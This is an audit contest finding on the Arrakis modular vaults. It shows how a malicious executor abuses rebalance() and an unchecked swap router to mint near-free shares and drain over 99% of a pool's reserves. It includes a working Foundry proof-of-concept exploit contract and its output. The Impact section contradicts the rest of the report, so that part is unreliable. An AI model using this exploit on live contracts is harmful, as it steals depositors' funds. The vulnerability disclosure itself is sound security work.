Tricky Alabaster Panda

high

# Through rebalance(), an executor can drain 100% of vault reserves by minting cheap shares

## Summary

The contest README states the following:
> Executor of ArrakisStandardManager is RESTRICTED during rebalance action on vaults.

This is a complex attack performed by a malicious executor to drain a vault during rebalance.

It requires at least one of the tokens to be a rebase token, since it requires the pool reserves to be increased without calling `HOT.depositLiquidity()` 

## Vulnerability Detail

On calling [`rebalance()`](https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/ArrakisStandardManager.sol#L322) , it makes a call to the module, with provided `payloads_` from the `executor`:

```solidity
(bool success,) = address(module).call(payloads_[i]);
```

For this attack, the payload’s function signature will be of the [`swap()`](https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L326) function in the `ValantisHOTModule`

The `swap()` function essentially does these 3 things:

1. Withdraw liquidity from the pool (via ALM)
2. Do an arbitrary call to an arbitrary address (`router_.call(payload_)`)
3. Deposit the resulting balance back into the pool (via ALM)

The intended functionality is that in step 2, a call is made to a router which swaps the tokens to rebalance the funds.
However, since the `router_` param is not checked, a malicious executor can pass in any address they want.

### Root Cause
After step 1, the pool’s reserves for both tokens is `0` . Then in step 2, the executor can mint vault shares at a very cheap price, since the price depends on the pool’s reserves.

### Attack Details
However, when pool reserves are equal to `0` , depositing liquidity will fail due to the error: `SovereignPool__depositLiquidity_zeroTotalDepositAmount` . To solve this, the executor must be able to somehow slightly increase the values returned by `pool.getReserves()`

For non-rebase tokens, the only way would be to increase `reserve0`  or `reserve1` in the pool, but this would require depositing liquidity, which would revert since the reserves are `0`.

However for rebase tokens, the reserves are calculated via:

```solidity
reserve = _token0.balanceOf(address(this));
```

This can be inflated by the executor since they simply have to send the token to the pool.

Now after step2, the `swap()` function also has a check to ensure that `expectedMinReturn_`  is met. 

To ensure that this doesn’t revert, the executor simply passes `expectedMinReturn=1` (0 can’t be used due to `_checkMinReturn()`) and `amountIn=1` , and sends 1 wei of the output token to the module, to meet the minimum expected return.

Note that the additional TVL slippage checks in `rebalance()` are not effective at preventing this attack, since the attacker redeems their vault shares after the rebalance is over.

### Summary of Attack (see PoC for implementation):

1. Malicious executor calls `ArrakisStandardManager.rebalance()` 
2. `ValantisModule.swap()` is called, with `expectedMinReturn=1`  and `amountIn=1` and `zeroToOne=false`
3. This executes `router_.call(payload)` , which calls `mintFreeShares()`  on the attacker’s fake router contract
    1. This function call first sends 1 wei of token0 and token1 to the `SovereignPool`, so that the reserves are non-zero
    2. Then, it mints `100e18` vault shares, for the price of 100 wei (since the liquidity was withdrawn in step1 of the `swap()` function)]
    3. It sends 1 wei of `token0` to the module, so that the `expectedMinReturn_` check does not revert
4. The remainder of `ValantisModule.swap()` occurs, re-depositing funds into the pool. 
5. Attacker calls `Vault.burn(100e18, attacker)`  to burn the 100e18 shares, stealing over 99% of the vault’s funds. 

Ultimately, the attacker is able to steal 99% of the pool’s reserves, while spending 100 wei of each token, which is a negligible cost. 

## Impact

100% of the fees which are meant for the Arrakis manager are re-deposited into the pool by a malicious `executor` and never claimable by the manager. 

## Proof of Concept

Here is a coded proof of concept demonstrating the vulnerability in action.

To run the PoC:

1. Add the following test contract to a new file within the `arrakis-modular/test/integration` directory.
2. Make the following minor change in `ValantisIntegrationPublicTest.sol` , to configure the pool with rebase tokens
        
```diff
SovereignPoolConstructorArgs memory poolArgs =
        _generateDefaultConstructorArgs();
+poolArgs.isToken0Rebase = true;
+poolArgs.isToken1Rebase = true;
```
        
3. Then run `forge test --mt test_maliciousExecutor_mintsFreeShares -vv` in the terminal.

<details><summary>Coded PoC</summary>

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

// Foundry Imports
import {console} from "forge-std/console.sol";
import {Vm} from "forge-std/Vm.sol";
import {Test} from "forge-std/Test.sol";

// Arrakis Imports
import {IOracleWrapper} from "../../src/interfaces/IOracleWrapper.sol";
import {ArrakisMetaVaultPublic} from
    "../../src/ArrakisMetaVaultPublic.sol";
import {ArrakisStandardManager} from
    "../../src/ArrakisStandardManager.sol";
import {IArrakisMetaVaultPublic} from
    "../../src/interfaces/IArrakisMetaVaultPublic.sol";
import {IArrakisMetaVault} from
    "../../src/interfaces/IArrakisMetaVault.sol";
import {IArrakisStandardManager} from
    "../../src/interfaces/IArrakisStandardManager.sol";
import {IValantisHOTModule} from
    "../../src/interfaces/IValantisHOTModule.sol";

// Valantis Imports
import {HOT} from "@valantis-hot/contracts/HOT.sol";
import {IValantisHOTModule} from
    "../../src/interfaces/IValantisHOTModule.sol";

// General Imports
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";


// Base test
import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol";


contract FreeShares is ValantisIntegrationPublicTest {

    address attacker;
    address rec;
        
    function test_maliciousExecutor_mintsFreeShares() public {
        attacker = makeAddr("attacker");
        rec = makeAddr("rec");

        // Malicious executor's balance before rebalancing
        console.log("[BEFORE]:\n executor's balance- token0: %e, token1: %e", token0.balanceOf(executor), token1.balanceOf(executor));
        
        vm.startPrank(executor);
        
        deal(address(token0), rec, init0); // 2000e6 (0: USDC)
        deal(address(token1), rec, init1); // 1e18   (1: WETH)

        address m = address(IArrakisMetaVault(vault).module());

        //@e user mints from meta vault
        vm.startPrank(rec);
        token0.approve(m, init0);
        token1.approve(m, init1);

        IArrakisMetaVaultPublic(vault).mint(1e18, rec);
        vm.stopPrank();

        // Setup ScamRouter
        ScamRouter scamRouter = new ScamRouter(token0, token1, address(vault), executor, address(pool));
        deal(address(token0), address(scamRouter), 150 wei);
        deal(address(token1), address(scamRouter), 150 wei);


        (uint256 reserves0Before, uint256 reserves1Before) = pool.getReserves();
        console.log("Pool TVL Before: %e USDC", _getPoolTVL(reserves0Before, reserves1Before));

        bool zeroForOne = false;
        uint256 amountIn = 1;
        uint256 expectedMinReturn = 1;


        // This is the payload sent to the `router_` within `HOTModule.swap()`- called from `StandardManager.rebalance()`
        bytes memory router_payload = abi.encodeWithSelector(
            ScamRouter.mintFreeShares.selector
        );

        bytes memory payload = abi.encodeWithSelector(
            IValantisHOTModule.swap.selector,
            zeroForOne,
            expectedMinReturn,
            amountIn,
            address(scamRouter),
            0,
            0,
            router_payload // to send to the fake router
        );

        bytes[] memory datas = new bytes[](1);
        datas[0] = payload;

        vm.prank(executor);
        IArrakisStandardManager(manager).rebalance(vault, datas);   

        vm.prank(executor);
        ArrakisMetaVaultPublic(vault).burn(100e18, executor);

        console.log("[AFTER]:\n executor's balance- token0: %e, token1: %e", token0.balanceOf(executor), token1.balanceOf(executor));
        // Pool reserves
        (uint256 reserves0After, uint256 reserves1After) = pool.getReserves();

        console.log("Pool TVL After: %e USDC\n", _getPoolTVL(reserves0After, reserves1After));

        console.log("Token0 (USDC) Reserves Before->After: %e->%e", reserves0Before, reserves0After);
        console.log("Token1 (ETH) Reserves Before->After: %e->%e", reserves1Before, reserves1After);

        uint256 executorTotalValue = _getPoolTVL(token0.balanceOf(executor), token1.balanceOf(executor));
    }

    function _getPoolTVL(uint256 a, uint256 b) internal view returns (uint256){
        return a + b * IOracleWrapper(oracle).getPrice1() / 10**token1.decimals();
    }
}

contract ScamRouter {
    // This will deposit to get free shares
    
    ERC20 public token0;
    ERC20 public token1;

    ArrakisMetaVaultPublic vault;
    address pool;

    address owner;

    constructor(ERC20 t0, ERC20 t1, address _vault, address _owner, address _pool) {
        token0 = t0;
        token1 = t1;
        vault = ArrakisMetaVaultPublic(_vault);
        owner = _owner;
        pool = _pool;
    }

    function mintFreeShares() external {
        address module = address(vault.module());

        token0.transfer(pool, 1 wei);
        token1.transfer(pool, 1 wei);

        token0.approve(module, 100 wei);
        token1.approve(module, 100 wei);

        vault.mint(100e18, owner);

        token0.transfer(msg.sender, 1 wei); // prevent expectedMinReturn from failing (since we didnt swap anything)
    }
}
```

</details>

### Console Output:

```txt
[PASS] test_maliciousExecutor_mintsFreeShares() (gas: 2173357)
Logs:
  [BEFORE]:
 executor's balance- token0: 0e0, token1: 0e0
  Pool TVL Before: 4e9 USDC
  [AFTER]:
 executor's balance- token0: 1.98019812e9, token1: 9.90099009900990198e17
  Pool TVL After: 3.9603962e7 USDC

  Token0 (USDC) Reserves Before->After: 2e9->1.9801982e7
  Token1 (ETH) Reserves Before->After: 1e18->9.900990099009903e15

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 400.79ms

Ran 1 test suite in 400.79ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

As you can see, the pool TVL dropped from 4000 USDC to ~40 USDC. Over 99% of the pool’s reserves were stolen in a single transaction by the malicious executor.

## Code Snippet

**The arbitrary call to the arbitrary `router_`**

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L375-L378

**expectedMinReturn_ check that is bypassed by sending 1 wei**

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L384-L397

## Tool used

Manual Review

## Recommendation

Do not allow `HOT.depositLiquidity()` to be called during a rebalance.